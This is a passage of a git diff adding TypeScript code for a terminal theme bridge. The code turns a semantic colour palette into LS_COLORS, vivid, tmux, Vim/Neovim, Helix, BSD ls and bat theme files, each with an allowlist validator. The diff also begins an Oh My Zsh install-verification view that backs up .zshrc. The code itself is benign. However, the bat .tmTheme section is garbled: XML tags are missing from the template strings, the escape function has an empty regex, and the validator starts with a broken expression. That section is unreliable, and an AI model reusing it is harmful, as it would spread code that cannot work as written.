* groups, from semantic roles. Not an extension database; vivid (when + * installed) is the rich path. + */ +export function lsColorsFallback(palette: SemanticPalette, level: ColorLevel): string | undefined { + if (level === 'none') return undefined; + const c = (hex: string, extra = '') => lsColor(hex, level, extra); + const entries: Array<[string, string]> = [ + ['di', c(palette.ansi[4]!, '1;')], ['ln', c(palette.ansi[6]!)], ['so', c(palette.ansi[5]!)], ['pi', c(palette.warning)], + ['ex', c(palette.success, '1;')], ['bd', c(palette.warning, '1;')], ['cd', c(palette.warning)], ['or', c(palette.failure, '1;')], + ['mi', c(palette.failure)], ['su', c(palette.failure, '7;')], ['sg', c(palette.warning, '7;')], ['tw', c(palette.success, '7;')], ['ow', c(palette.ansi[4]!, '7;')], + ]; + const groups: Array<[string[], string]> = [ + [['tar', 'tgz', 'gz', 'zip', 'bz2', 'xz', 'zst', '7z', 'rar'], c(palette.failure)], + [['png', 'jpg', 'jpeg', 'gif', 'svg', 'webp', 'mp4', 'mov', 'mp3', 'flac'], c(palette.ansi[5]!)], + [['md', 'txt', 'rst', 'pdf'], c(palette.text.secondary)], + [['json', 'yaml', 'yml', 'toml', 'ini', 'conf'], c(palette.info)], + [['log', 'tmp', 'bak', 'swp', 'lock'], c(palette.text.subtle)], + ]; + return [...entries.map(([key, value]) => `${key}=${value}`), ...groups.flatMap(([extensions, value]) => extensions.map(extension => `*.${extension}=${value}`))].join(':'); +} + +/** vivid's documented theme file format (core + broad categories), colors as palette entries. */ +export function vividTheme(palette: SemanticPalette): string { + const hex = (value: string) => `"${value.slice(1)}"`; + return `# Generated by NMSh Theme Bridge from ${JSON.stringify(palette.name)}. NMSh replaces this file. +colors: + directory: ${hex(palette.ansi[4]!)} + link: ${hex(palette.ansi[6]!)} + executable: ${hex(palette.success)} + special: ${hex(palette.ansi[5]!)} + warning: ${hex(palette.warning)} + failure: ${hex(palette.failure)} + text: ${hex(palette.text.secondary)} + muted: ${hex(palette.text.subtle)} + info: ${hex(palette.info)} + accent: ${hex(palette.accent)} + surface: ${hex(palette.surface)} +core: + normal_text: {} + regular_file: {} + reset_to_normal: {} + directory: {foreground: directory, font-style: bold} + symlink: {foreground: link} + multi_hard_link: {} + fifo: {foreground: warning} + socket: {foreground: special} + door: {foreground: special} + block_device: {foreground: warning, font-style: bold} + character_device: {foreground: warning} + broken_symlink: {foreground: failure, font-style: bold} + missing_symlink_target: {foreground: failure} + setuid: {foreground: failure} + setgid: {foreground: warning} + file_with_capability: {} + sticky_other_writable: {foreground: executable} + other_writable: {foreground: directory} + sticky: {} + executable_file: {foreground: executable, font-style: bold} +text: + foreground: text +markup: + foreground: text +programming: + foreground: accent +media: + foreground: special +office: + foreground: text +archives: + foreground: failure +executable: + foreground: executable +unimportant: + foreground: muted +`; +} + +/** vivid output accepted as an LS_COLORS value: `key=sgr` entries only. */ +export function validLsColors(value: string): boolean { + return value.length > 0 && value.length <= 64 * 1024 && /^(?:[^=:\s\u0000-\u001f]+=[0-9;]*)(?::[^=:\s\u0000-\u001f]+=[0-9;]*)*:?$/u.test(value.trim()); +} + +// ---- tmux ----------------------------------------------------------------------- + +/** Style options only: colors of tmux's own chrome. No keys, layout, behavior, plugins or commands. */ +export const TMUX_STYLE_OPTIONS = ['status-style', 'status-left-style', 'status-right-style', 'window-status-style', 'window-status-current-style', + 'window-status-last-style', 'window-status-activity-style', 'window-status-bell-style', 'pane-border-style', + 'pane-active-border-style', 'message-style', 'message-command-style', 'mode-style', 'clock-mode-colour', 'display-panes-colour', + 'display-panes-active-colour', 'popup-border-style', 'popup-style', 'menu-style', 'menu-selected-style', 'menu-border-style', + 'copy-mode-match-style', 'copy-mode-current-match-style', 'copy-mode-mark-style'] as const; + +export const TMUX_UNREPRESENTED = 'tmux has no roles for prompt module colors, syntax colors or text tiers beyond fg/bg; those NMSh roles are not applied.'; + +export function tmuxFragment(palette: SemanticPalette): string { + const bar = palette.surface; + const style = (fg: string, bg?: string, attrs = '') => `"fg=${fg}${bg ? `,bg=${bg}` : ''}${attrs ? `,${attrs}` : ''}"`; + const set = (option: typeof TMUX_STYLE_OPTIONS[number], value: string) => `set -gq ${option} ${value}`; + return [ + `# Generated by NMSh Theme Bridge from ${JSON.stringify(palette.name)}. NMSh replaces this file; edit your own tmux.conf instead.`, + set('status-style', style(palette.text.secondary, bar)), + set('status-left-style', style(palette.accent, bar, 'bold')), + set('status-right-style', style(palette.text.secondary, bar)), + set('window-status-style', style(palette.text.subtle, bar)), + set('window-status-current-style', style(palette.selectionForeground, palette.selection, 'bold')), + set('window-status-last-style', style(palette.text.secondary, bar)), + set('window-status-activity-style', style(palette.warning, bar)), + set('window-status-bell-style', style(palette.failure, bar, 'bold')), + set('pane-border-style', style(palette.separator)), + set('pane-active-border-style', style(palette.accent)), + set('message-style', style(palette.text.primary, palette.selection)), + set('message-command-style', style(palette.accent, palette.surface)), + set('mode-style', style(palette.selectionForeground, palette.selection)), + set('clock-mode-colour', `"${palette.accent}"`), + set('display-panes-colour', `"${palette.separator}"`), + set('display-panes-active-colour', `"${palette.accent}"`), + set('popup-border-style', style(palette.accent)), + set('menu-style', style(palette.text.primary, palette.surface)), + set('menu-selected-style', style(palette.selectionForeground, palette.selection)), + set('menu-border-style', style(palette.separator)), + set('copy-mode-match-style', style(palette.selectionForeground, palette.selection)), + set('copy-mode-current-match-style', style(palette.surface, palette.accent)), + set('copy-mode-mark-style', style(palette.surface, palette.warning)), + '', + ].join('\n'); +} + +const TMUX_VALUE = /^"(?:#[0-9a-f]{6}|(?:fg|bg)=#[0-9a-f]{6}(?:,(?:fg|bg)=#[0-9a-f]{6})?(?:,bold)?)"$/u; + +/** Validates a tmux fragment line by line: comments and allowlisted style options with color values only. */ +export function validateTmuxFragment(content: string): boolean { + return content.split('\n').every(line => line === '' || line.startsWith('# ') || (() => { + const match = /^set -gq ([a-z-]+) (.+)$/u.exec(line); + return Boolean(match && (TMUX_STYLE_OPTIONS as readonly string[]).includes(match[1]!) && TMUX_VALUE.test(match[2]!)); + })()); +} + +// ---- Neovim / Vim ----------------------------------------------------------------- + +export const COLORSCHEME_NAME = 'nmsh-bridge'; + +interface Highlight {fg?: string; bg?: string; sp?: string; bold?: true; italic?: true; underline?: true; undercurl?: true; reverse?: true} + +/** Classic highlight groups both Vim and Neovim understand. */ +function classicGroups(p: SemanticPalette): Record { + const s = p.syntax; + const bg = p.background; + return { + Normal: {fg: p.text.primary, ...(bg ? {bg} : {})}, Comment: {fg: s.comment, italic: true}, + Constant: {fg: s.constant}, String: {fg: s.string}, Character: {fg: s.string}, Number: {fg: s.number}, Boolean: {fg: s.number}, Float: {fg: s.number}, + Identifier: {fg: p.text.primary}, Function: {fg: s.function}, + Statement: {fg: s.keyword}, Conditional: {fg: s.keyword}, Repeat: {fg: s.keyword}, Label: {fg: s.keyword}, Operator: {fg: s.operator}, Keyword: {fg: s.keyword}, Exception: {fg: p.failure}, + PreProc: {fg: s.preproc}, Include: {fg: s.preproc}, Define: {fg: s.preproc}, Macro: {fg: s.preproc}, PreCondit: {fg: s.preproc}, + Type: {fg: s.type}, StorageClass: {fg: s.keyword}, Structure: {fg: s.type}, Typedef: {fg: s.type}, + Special: {fg: s.special}, SpecialChar: {fg: s.special}, Tag: {fg: p.accent}, Delimiter: {fg: s.operator}, SpecialComment: {fg: s.comment}, + Underlined: {fg: p.info, underline: true}, Error: {fg: p.failure, bold: true}, Todo: {fg: p.warning, bold: true}, + Visual: {bg: p.selection}, Search: {fg: p.selectionForeground, bg: p.selection, bold: true}, IncSearch: {fg: p.surface, bg: p.accent}, + CursorLine: {bg: p.surface}, CursorColumn: {bg: p.surface}, ColorColumn: {bg: p.surface}, + LineNr: {fg: p.text.subtle}, CursorLineNr: {fg: p.accent, bold: true}, SignColumn: {fg: p.text.subtle}, + Pmenu: {fg: p.text.primary, bg: p.surface}, PmenuSel: {fg: p.selectionForeground, bg: p.selection}, PmenuSbar: {bg: p.surface}, PmenuThumb: {bg: p.separator}, + StatusLine: {fg: p.text.primary, bg: p.selection}, StatusLineNC: {fg: p.text.subtle, bg: p.surface}, + VertSplit: {fg: p.separator}, TabLine: {fg: p.text.subtle, bg: p.surface}, TabLineSel: {fg: p.selectionForeground, bg: p.selection, bold: true}, TabLineFill: {bg: p.surface}, + MatchParen: {fg: p.accent, bold: true, underline: true}, Folded: {fg: p.text.subtle, bg: p.surface}, NonText: {fg: p.text.subtle}, + Title: {fg: p.accent, bold: true}, Directory: {fg: p.ansi[4]!}, ErrorMsg: {fg: p.failure}, WarningMsg: {fg: p.warning}, ModeMsg: {fg: p.text.secondary}, MoreMsg: {fg: p.success}, + Question: {fg: p.success}, WildMenu: {fg: p.selectionForeground, bg: p.selection}, + DiffAdd: {fg: p.success}, DiffChange: {fg: p.warning}, DiffDelete: {fg: p.failure}, DiffText: {fg: p.info, bold: true}, + SpellBad: {sp: p.failure, undercurl: true}, SpellCap: {sp: p.warning, undercurl: true}, + }; +} + +/** Neovim-only groups: floats, separators, diagnostics, and Tree-sitter captures linked onto the classic groups. */ +function neovimGroups(p: SemanticPalette): Record { + const diagnostics: Record = {Error: p.failure, Warn: p.warning, Info: p.info, Hint: p.text.secondary, Ok: p.success}; + const out: Record = { + NormalFloat: {fg: p.text.primary, bg: p.surface}, FloatBorder: {fg: p.separator}, WinSeparator: {fg: p.separator}, + NormalNC: {link: 'Normal'}, CursorLineSign: {link: 'SignColumn'}, + }; + for (const [name, color] of Object.entries(diagnostics)) { + out[`Diagnostic${name}`] = {fg: color}; + out[`DiagnosticUnderline${name}`] = {sp: color, undercurl: true}; + out[`DiagnosticSign${name}`] = {fg: color}; + out[`DiagnosticVirtualText${name}`] = {fg: color}; + } + const links: Record = { + '@comment': 'Comment', '@string': 'String', '@string.escape': 'SpecialChar', '@character': 'Character', '@number': 'Number', '@boolean': 'Boolean', + '@number.float': 'Float', '@constant': 'Constant', '@constant.builtin': 'Constant', '@variable': 'Identifier', '@variable.builtin': 'Special', + '@variable.parameter': 'Identifier', '@property': 'Identifier', '@function': 'Function', '@function.call': 'Function', '@function.builtin': 'Special', + '@function.method': 'Function', '@constructor': 'Type', '@keyword': 'Keyword', '@keyword.function': 'Keyword', '@keyword.return': 'Keyword', + '@keyword.import': 'Include', '@conditional': 'Conditional', '@repeat': 'Repeat', '@exception': 'Exception', '@operator': 'Operator', + '@type': 'Type', '@type.builtin': 'Type', '@module': 'Identifier', '@label': 'Label', '@tag': 'Tag', '@tag.attribute': 'Identifier', + '@punctuation': 'Delimiter', '@punctuation.bracket': 'Delimiter', '@punctuation.delimiter': 'Delimiter', '@markup.heading': 'Title', + '@markup.link': 'Underlined', '@diff.plus': 'DiffAdd', '@diff.minus': 'DiffDelete', '@diff.delta': 'DiffChange', + }; + for (const [capture, group] of Object.entries(links)) out[capture] = {link: group}; + return out; +} + +const luaString = (value: string) => `'${value}'`; + +export function neovimColorscheme(palette: SemanticPalette): string { + const attributes = (highlight: Highlight | {link: string}) => { + if ('link' in highlight) return `{link = ${luaString(highlight.link)}}`; + const parts: string[] = []; + for (const key of ['fg', 'bg', 'sp'] as const) if (highlight[key]) parts.push(`${key} = ${luaString(highlight[key]!)}`); + if (highlight.fg) parts.push(`ctermfg = ${rgbTo256(parseHexColor(highlight.fg)!)}`); + if (highlight.bg) parts.push(`ctermbg = ${rgbTo256(parseHexColor(highlight.bg)!)}`); + for (const key of ['bold', 'italic', 'underline', 'undercurl', 'reverse'] as const) if (highlight[key]) parts.push(`${key} = true`); + return `{${parts.join(', ')}}`; + }; + const groups = {...classicGroups(palette), ...neovimGroups(palette)} as Record; + delete groups.VertSplit; + groups.VertSplit = {link: 'WinSeparator'}; + return [ + `-- Generated by NMSh Theme Bridge from ${JSON.stringify(palette.name)}. NMSh replaces this file; it contains highlight data only.`, + `vim.cmd('highlight clear')`, + `if vim.fn.exists('syntax_on') == 1 then vim.cmd('syntax reset') end`, + `vim.o.background = ${luaString(palette.dark ? 'dark' : 'light')}`, + `vim.g.colors_name = ${luaString(COLORSCHEME_NAME)}`, + `local set = vim.api.nvim_set_hl`, + ...Object.entries(groups).map(([name, highlight]) => `set(0, ${luaString(name)}, ${attributes(highlight)})`), + '', + ].join('\n'); +} + +export function vimColorscheme(palette: SemanticPalette): string { + const line = (name: string, highlight: Highlight) => { + const attrs = (['bold', 'italic', 'underline', 'undercurl', 'reverse'] as const).filter(key => highlight[key]); + const cterm = attrs.filter(key => key !== 'undercurl' && key !== 'italic'); + const parts = [`hi ${name}`, + `guifg=${highlight.fg ?? 'NONE'}`, `guibg=${highlight.bg ?? 'NONE'}`, ...(highlight.sp ? [`guisp=${highlight.sp}`] : []), + `ctermfg=${highlight.fg ? rgbTo256(parseHexColor(highlight.fg)!) : 'NONE'}`, `ctermbg=${highlight.bg ? rgbTo256(parseHexColor(highlight.bg)!) : 'NONE'}`, + `gui=${attrs.length ? attrs.join(',') : 'NONE'}`, `cterm=${cterm.length ? cterm.join(',') : 'NONE'}`]; + return parts.join(' '); + }; + return [ + `" Generated by NMSh Theme Bridge from ${JSON.stringify(palette.name).replace(/"/gu, "'")}. NMSh replaces this file; it contains highlight data only.`, + `set background=${palette.dark ? 'dark' : 'light'}`, + 'hi clear', + "if exists('syntax_on') | syntax reset | endif", + `let g:colors_name = '${COLORSCHEME_NAME}'`, + ...Object.entries(classicGroups(palette)).map(([name, highlight]) => line(name, highlight)), + '', + ].join('\n'); +} + +export function validateNeovimColorscheme(content: string): boolean { + const fixed = new Set([`vim.cmd('highlight clear')`, `if vim.fn.exists('syntax_on') == 1 then vim.cmd('syntax reset') end`, "vim.o.background = 'dark'", + "vim.o.background = 'light'", `vim.g.colors_name = '${COLORSCHEME_NAME}'`, 'local set = vim.api.nvim_set_hl', '']); + const value = "(?:(?:fg|bg|sp) = '#[0-9a-f]{6}'|cterm(?:fg|bg) = \\d{1,3}|(?:bold|italic|underline|undercurl|reverse) = true)"; + const set = new RegExp(`^set\\(0, '[@A-Za-z][A-Za-z0-9_.]*', \\{(?:link = '[A-Z][A-Za-z]*'|${value}(?:, ${value})*)\\}\\)$`, 'u'); + return content.split('\n').every((line, index) => (index === 0 && line.startsWith('-- Generated by NMSh Theme Bridge')) || fixed.has(line) || set.test(line)); +} + +export function validateVimColorscheme(content: string): boolean { + const fixed = new Set(['set background=dark', 'set background=light', 'hi clear', "if exists('syntax_on') | syntax reset | endif", `let g:colors_name = '${COLORSCHEME_NAME}'`, '']); + const hi = /^hi [A-Z][A-Za-z]* guifg=(?:#[0-9a-f]{6}|NONE) guibg=(?:#[0-9a-f]{6}|NONE)(?: guisp=#[0-9a-f]{6})? ctermfg=(?:\d{1,3}|NONE) ctermbg=(?:\d{1,3}|NONE) gui=(?:NONE|[a-z,]+) cterm=(?:NONE|[a-z,]+)$/u; + return content.split('\n').every((line, index) => (index === 0 && line.startsWith('" Generated by NMSh Theme Bridge')) || fixed.has(line) || hi.test(line)); +} + +// ---- Helix ------------------------------------------------------------------------ + +export const HELIX_THEME_NAME = 'nmsh-bridge'; + +/** + * A native Helix theme: a named `[palette]` derived from the NMSh semantic + * palette (still the source of truth), then syntax, markup, diff, diagnostic + * and editor UI scopes mapped onto those names. Declarative TOML only. + */ +export function helixTheme(p: SemanticPalette): string { + const palette: Record = { + foreground: p.text.primary, secondary: p.text.secondary, muted: p.text.subtle, accent: p.accent, separator: p.separator, + surface: p.surface, selection: p.selection, 'selection-fg': p.selectionForeground, cursor: p.cursor, + success: p.success, warning: p.warning, failure: p.failure, info: p.info, + string: p.syntax.string, number: p.syntax.number, keyword: p.syntax.keyword, function: p.syntax.function, type: p.syntax.type, + constant: p.syntax.constant, operator: p.syntax.operator, special: p.syntax.special, preproc: p.syntax.preproc, comment: p.syntax.comment, + ...(p.background ? {background: p.background} : {}), + }; + const bg = p.background ? 'background' : undefined; + const s: Array<[string, string]> = []; + const fg = (scope: string, color: string, modifiers?: string[]) => s.push([scope, modifiers ? `{ fg = "${color}", modifiers = [${modifiers.map(m => `"${m}"`).join(', ')}] }` : `"${color}"`]); + const style = (scope: string, value: string) => s.push([scope, value]); + for (const [scope, color] of [['attribute', 'preproc'], ['type', 'type'], ['type.builtin', 'type'], ['constructor', 'type'], ['constant', 'constant'], ['constant.builtin', 'constant'], + ['constant.character.escape', 'special'], ['constant.numeric', 'number'], ['string', 'string'], ['string.regexp', 'special'], ['string.special', 'special'], + ['variable', 'foreground'], ['variable.builtin', 'special'], ['variable.parameter', 'foreground'], ['variable.other.member', 'secondary'], ['label', 'keyword'], + ['punctuation', 'operator'], ['punctuation.delimiter', 'operator'], ['punctuation.bracket', 'operator'], ['keyword', 'keyword'], ['keyword.control', 'keyword'], + ['keyword.control.conditional', 'keyword'], ['keyword.control.repeat', 'keyword'], ['keyword.control.import', 'preproc'], ['keyword.control.return', 'keyword'], + ['keyword.control.exception', 'failure'], ['keyword.operator', 'operator'], ['keyword.directive', 'preproc'], ['keyword.function', 'keyword'], ['keyword.storage', 'keyword'], + ['operator', 'operator'], ['function', 'function'], ['function.builtin', 'special'], ['function.method', 'function'], ['function.macro', 'preproc'], ['tag', 'accent'], + ['namespace', 'type'], ['special', 'special'], ['markup.heading', 'accent'], ['markup.list', 'secondary'], ['markup.link.url', 'info'], ['markup.link.text', 'accent'], + ['markup.quote', 'muted'], ['markup.raw', 'string'], ['diff.plus', 'success'], ['diff.minus', 'failure'], ['diff.delta', 'warning'], ['diff.delta.moved', 'info'], + ['diff.delta.conflict', 'failure'], ['warning', 'warning'], ['error', 'failure'], ['info', 'info'], ['hint', 'secondary']] as const) fg(scope, color); + fg('comment', 'comment', ['italic']); + fg('markup.bold', 'foreground', ['bold']); + fg('markup.italic', 'foreground', ['italic']); + fg('markup.link', 'info', ['underlined']); + for (const [name, color] of [['error', 'failure'], ['warning', 'warning'], ['info', 'info'], ['hint', 'secondary']] as const) { + style(`diagnostic.${name}`, `{ underline = { color = "${color}", style = "curl" } }`); + } + style('diagnostic.unnecessary', '{ modifiers = ["dim"] }'); + style('diagnostic.deprecated', '{ modifiers = ["crossed_out"] }'); + const on = (f: string, b?: string) => `{ fg = "${f}"${b ? `, bg = "${b}"` : ''} }`; + style('ui.background', bg ? `{ bg = "${bg}" }` : '{}'); + style('ui.background.separator', on('separator')); + for (const scope of ['ui.cursor', 'ui.cursor.normal', 'ui.cursor.primary']) style(scope, on(bg ?? 'surface', 'cursor')); + style('ui.cursor.insert', on(bg ?? 'surface', 'success')); + style('ui.cursor.select', on(bg ?? 'surface', 'info')); + style('ui.cursor.match', '{ fg = "accent", modifiers = ["underlined"] }'); + style('ui.gutter', bg ? `{ bg = "${bg}" }` : '{}'); + style('ui.gutter.selected', '{ bg = "surface" }'); + style('ui.linenr', on('muted')); + style('ui.linenr.selected', on('accent')); + style('ui.statusline', on('foreground', 'surface')); + style('ui.statusline.inactive', on('muted', 'surface')); + style('ui.statusline.normal', on('selection-fg', 'selection')); + style('ui.statusline.insert', on('surface', 'success')); + style('ui.statusline.select', on('surface', 'info')); + style('ui.statusline.separator', on('separator', 'surface')); + style('ui.bufferline', on('muted', 'surface')); + style('ui.bufferline.active', on('selection-fg', 'selection')); + style('ui.bufferline.background', '{ bg = "surface" }'); + style('ui.popup', on('foreground', 'surface')); + style('ui.popup.info', on('foreground', 'surface')); + style('ui.window', on('separator')); + style('ui.help', on('foreground', 'surface')); + style('ui.text', on('foreground')); + style('ui.text.focus', on('selection-fg', 'selection')); + style('ui.text.inactive', on('muted')); + style('ui.text.info', on('secondary')); + style('ui.text.directory', on('info')); + style('ui.virtual.whitespace', on('separator')); + style('ui.virtual.indent-guide', on('separator')); + style('ui.virtual.ruler', '{ bg = "surface" }'); + for (const scope of ['ui.virtual.inlay-hint', 'ui.virtual.inlay-hint.parameter', 'ui.virtual.inlay-hint.type']) style(scope, on('muted')); + style('ui.menu', on('foreground', 'surface')); + style('ui.menu.selected', on('selection-fg', 'selection')); + style('ui.menu.scroll', on('separator', 'surface')); + style('ui.selection', '{ bg = "selection" }'); + style('ui.selection.primary', '{ bg = "selection" }'); + style('ui.highlight', '{ bg = "surface" }'); + for (const scope of ['ui.cursorline.primary', 'ui.cursorline.secondary', 'ui.cursorcolumn.primary']) style(scope, '{ bg = "surface" }'); + return [ + `# Generated by NMSh Theme Bridge from ${JSON.stringify(p.name)}. NMSh replaces this file; it is theme data only.`, + ...s.map(([scope, value]) => `"${scope}" = ${value}`), + '', + '[palette]', + ...Object.entries(palette).map(([name, hex]) => `${name} = "${hex}"`), + '', + ].join('\n'); +} + +/** Parses the generated TOML and checks every style references only palette names or hex colors. */ +export function validateHelixTheme(content: string, parse: (text: string) => unknown): boolean { + let data: Record; + try { data = parse(content) as Record; } catch { return false; } + const palette = data.palette as Record | undefined; + if (!palette || typeof palette !== 'object' || !Object.values(palette).every(value => typeof value === 'string' && HEX.test(value))) return false; + const color = (value: unknown) => typeof value === 'string' && (value in palette || HEX.test(value)); + const MODS = new Set(['bold', 'italic', 'underlined', 'dim', 'crossed_out']); + return Object.entries(data).every(([key, value]) => { + if (key === 'palette') return true; + if (!/^[a-z][a-z.-]*$/u.test(key)) return false; + if (typeof value === 'string') return color(value); + if (!value || typeof value !== 'object') return false; + return Object.entries(value).every(([field, item]) => field === 'fg' || field === 'bg' ? color(item) + : field === 'modifiers' ? Array.isArray(item) && item.every(mod => MODS.has(mod)) + : field === 'underline' ? typeof item === 'object' && item !== null && color((item as {color?: unknown}).color) && (item as {style?: unknown}).style === 'curl' + : false); + }); +} + +// ---- macOS / BSD ls ---------------------------------------------------------------- + +const BSD_LETTERS = 'abcdefgh'; + +/** The closest of the theme's eight base ANSI colors (BSD ls can only name terminal ANSI colors). */ +function nearestAnsi(palette: SemanticPalette, hex: string): number { + const target = parseHexColor(hex)!; + let best = 0; + let distance = Infinity; + palette.ansi.slice(0, 8).forEach((candidate, index) => { + const color = parseHexColor(candidate)!; + const d = (color.red - target.red) ** 2 + (color.green - target.green) ** 2 + (color.blue - target.blue) ** 2; + if (d < distance) { distance = d; best = index; } + }); + return best; +} + +/** + * BSD/macOS `LSCOLORS`: twelve fg/bg pairs (directory, symlink, socket, pipe, + * executable, block, character, setuid, setgid, sticky other-writable dir, + * other-writable dir, dataless). Colors are ANSI names, so the terminal's own + * palette draws them; NMSh picks the closest role for each. + */ +export function bsdLsColors(palette: SemanticPalette): string { + const fg = (hex: string, bold = false) => { const letter = BSD_LETTERS[nearestAnsi(palette, hex)]!; return bold ? letter.toUpperCase() : letter; }; + const pairs = [ + `${fg(palette.ansi[4]!, true)}x`, `${fg(palette.ansi[6]!)}x`, `${fg(palette.ansi[5]!)}x`, `${fg(palette.warning)}x`, `${fg(palette.success, true)}x`, + `${fg(palette.warning, true)}x`, `${fg(palette.warning)}x`, 'ab', 'ag', 'ac', 'ad', `${fg(palette.text.subtle)}x`, + ]; + return pairs.join(''); +} + +export function validBsdLsColors(value: string): boolean { + return /^(?:[a-hA-Hx][a-hA-Hx]){11,12}$/u.test(value); +} + +// ---- bat (.tmTheme) --------------------------------------------------------------------- + +export const BAT_THEME_NAME = 'nmsh-bridge'; + +const xml = (value: string) => value.replace(/&/gu, '&').replace(//gu, '>').replace(/"/gu, '"'); + +/** + * A Sublime/TextMate `.tmTheme` (plist XML) that bat/Syntect loads from its + * themes directory. Data only: global colors plus scope rules for comments, + * strings, numbers/constants, functions, types, keywords, operators, tags, + * variables, builtins, invalid, markup and diff. + */ +export function batTheme(p: SemanticPalette): string { + const rule = (name: string, scope: string, foreground: string, fontStyle?: string, background?: string) => + ` name${xml(name)}scope${xml(scope)}settingsforeground${foreground}${fontStyle ? `fontStyle${fontStyle}` : ''}${background ? `background${background}` : ''}`; + const s = p.syntax; + const globals = [ + ['foreground', p.text.primary], ...(p.background ? [['background', p.background]] : []), ['caret', p.cursor], ['selection', p.selection], + ['lineHighlight', p.surface], ['gutterForeground', p.text.subtle], ['invisibles', p.separator], + ] as Array<[string, string]>; + const rules = [ + rule('Comment', 'comment, punctuation.definition.comment', s.comment, 'italic'), + rule('String', 'string, punctuation.definition.string', s.string), + rule('Escape', 'constant.character.escape, string.regexp', s.special), + rule('Number', 'constant.numeric', s.number), + rule('Constant', 'constant, constant.language, support.constant', s.constant), + rule('Variable', 'variable', p.text.primary), + rule('Builtin variable', 'variable.language, support.variable', s.special), + rule('Parameter', 'variable.parameter', p.text.secondary), + rule('Keyword', 'keyword, keyword.control, storage, storage.type, storage.modifier', s.keyword), + rule('Operator', 'keyword.operator, punctuation.separator, punctuation.accessor', s.operator), + rule('Function', 'entity.name.function, meta.function-call, support.function', s.function), + rule('Builtin function', 'support.function.builtin, variable.function.builtin', s.special), + rule('Type', 'entity.name.type, entity.name.class, support.type, support.class, entity.other.inherited-class', s.type), + rule('Import', 'keyword.control.import, meta.preprocessor, keyword.other.preprocessor', s.preproc), + rule('Tag', 'entity.name.tag', p.accent), + rule('Attribute', 'entity.other.attribute-name', s.preproc), + rule('Invalid', 'invalid, invalid.illegal', p.failure, 'bold'), + rule('Deprecated', 'invalid.deprecated', p.warning), + rule('Heading', 'markup.heading, entity.name.section', p.accent, 'bold'), + rule('Bold', 'markup.bold', p.text.primary, 'bold'), + rule('Italic', 'markup.italic', p.text.primary, 'italic'), + rule('Link', 'markup.underline.link, string.other.link', p.info, 'underline'), + rule('Quote', 'markup.quote', p.text.subtle), + rule('Raw', 'markup.raw, markup.inline.raw', s.string), + rule('Inserted', 'markup.inserted, meta.diff.header.to-file', p.success), + rule('Deleted', 'markup.deleted, meta.diff.header.from-file', p.failure), + rule('Changed', 'markup.changed', p.warning), + rule('Diff range', 'meta.diff.range, meta.diff.header', p.info), + ]; + return [ + '', + ``, + '', + '', + ` name${BAT_THEME_NAME}`, + ' settings', + ' ', + ` settings${globals.map(([key, value]) => `${key}${value}`).join('')}`, + ...rules, + ' ', + '', + '', + '', + ].join('\n'); +} + +/** The generated theme parses as a plist with only string values (names, scopes, hex colors, font styles). */ +export function validateBatTheme(content: string, parse: (text: string) => unknown): boolean { + if (/([^<]*)<\/string>/gu)].map(match => match[1]!); + return strings.length > 10 && content.includes(`${BAT_THEME_NAME}`) + && strings.every(value => /^#[0-9a-f]{6}$/u.test(value) || /^[A-Za-z0-9 .,_-]{1,200}$/u.test(value)); +} diff --git a/src/tools/OhMyZshView.ts b/src/tools/OhMyZshView.ts new file mode 100644 index 00000000..871436f1 --- /dev/null +++ b/src/tools/OhMyZshView.ts @@ -0,0 +1,157 @@ +import {constants, copyFileSync, lstatSync, readFileSync, renameSync, writeFileSync} from 'node:fs'; +import {randomUUID} from 'node:crypto'; +import {dirname, join} from 'node:path'; +import type {Key} from '../terminal/keys.js'; +import {createConfirm, handleConfirmKey, renderConfirm, type ConfirmState} from '../ui/formControls.js'; +import {fingerprint} from '../prompt/Powerlevel10kConfigurator.js'; +import {shortDiff} from '../dotfiles/plan.js'; +import {fileFacts, OH_MY_ZSH_INSTALL, previousZshrc, type FileFacts} from './frameworks.js'; + +/** + * Oh My Zsh's two special views in /tools. + * + * Guided install: NMSh never downloads or runs the installer (it never runs + * install scripts). It fingerprints and backs up .zshrc, shows the official + * source and the exact documented settings that keep .zshrc and the login + * shell untouched, and afterwards verifies what changed. An unexpected + * .zshrc change is reported prominently; nothing is restored silently. + * + * Previous zshrc: compares .zshrc with the installer's .zshrc.pre-oh-my-zsh. + * Restoring is a separate confirmation (default No) that first backs up the + * current file and then replaces it atomically. Shell code is never merged, + * sourced or parsed. + */ + +export interface ZshrcSnapshot {path: string; sha256?: string; backup?: string; error?: string} + +export type OhMyZshView = + | {kind: 'guided'; env: NodeJS.ProcessEnv; snapshot?: ZshrcSnapshot; verified?: string[]; unexpected?: boolean} + | {kind: 'previous'; env: NodeJS.ProcessEnv; current: FileFacts; previous: FileFacts; diff: string[]; confirm?: ConfirmState; result?: string}; + +const stamp = (now: Date) => now.toISOString().replace(/[:.]/gu, '-'); +const hash = (content: Buffer) => fingerprint(content); + +export function openGuidedInstall(env: NodeJS.ProcessEnv = process.env): OhMyZshView { + return {kind: 'guided', env}; +} + +/** Fingerprint and back up .zshrc (absent is recorded as absent). Never renames or edits the original. */ +export function snapshotZshrc(env: NodeJS.ProcessEnv = process.env, now = new Date()): ZshrcSnapshot { + const path = OH_MY_ZSH_INSTALL.snapshotTargets(env)[0]!; + try { + const info = lstatSync(path); + if (!info.isFile()) return {path, error: `${path} is ${info.isSymbolicLink() ? 'a symlink' : 'not a regular file'}; NMSh records nothing and makes no backup. Back it up yourself before installing.`}; + const content = readFileSync(path); + const backup = `${path}.nmsh-backup-${stamp(now)}-${randomUUID()}`; + copyFileSync(path, backup, constants.COPYFILE_EXCL); + return {path, sha256: hash(content), backup}; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') return {path}; + return {path, error: error instanceof Error ? error.message : String(error)}; + } +} + +/** What changed since the snapshot: installation present, .zshrc fingerprint, installer side files. */ +export function verifyInstall(view: Extract): void { + const found = OH_MY_ZSH_INSTALL.verify(view.env); + const snapshot = view.snapshot; + const now = snapshot ? fileFacts(snapshot.path, hash) : undefined; + const lines = [found ? `Oh My Zsh found at ${found.path}.` : 'Oh My Zsh was not found yet (no oh-my-zsh.sh with lib/ and themes/ at $ZSH or ~/.oh-my-zsh).']; + view.unexpected = false; + if (snapshot && !snapshot.error) { + const changed = (now?.sha256 ?? undefined) !== snapshot.sha256; + view.unexpected = changed; + lines.push(changed + ? `UNEXPECTED: ${snapshot.path} changed although KEEP_ZSHRC=yes was requested. Your backup is ${snapshot.backup ?? '(there was no file before)'}. NMSh did not restore anything.` + : `${snapshot.path} is unchanged.`); + } else lines.push('No .zshrc snapshot was taken, so NMSh cannot say whether it changed.'); + for (const side of 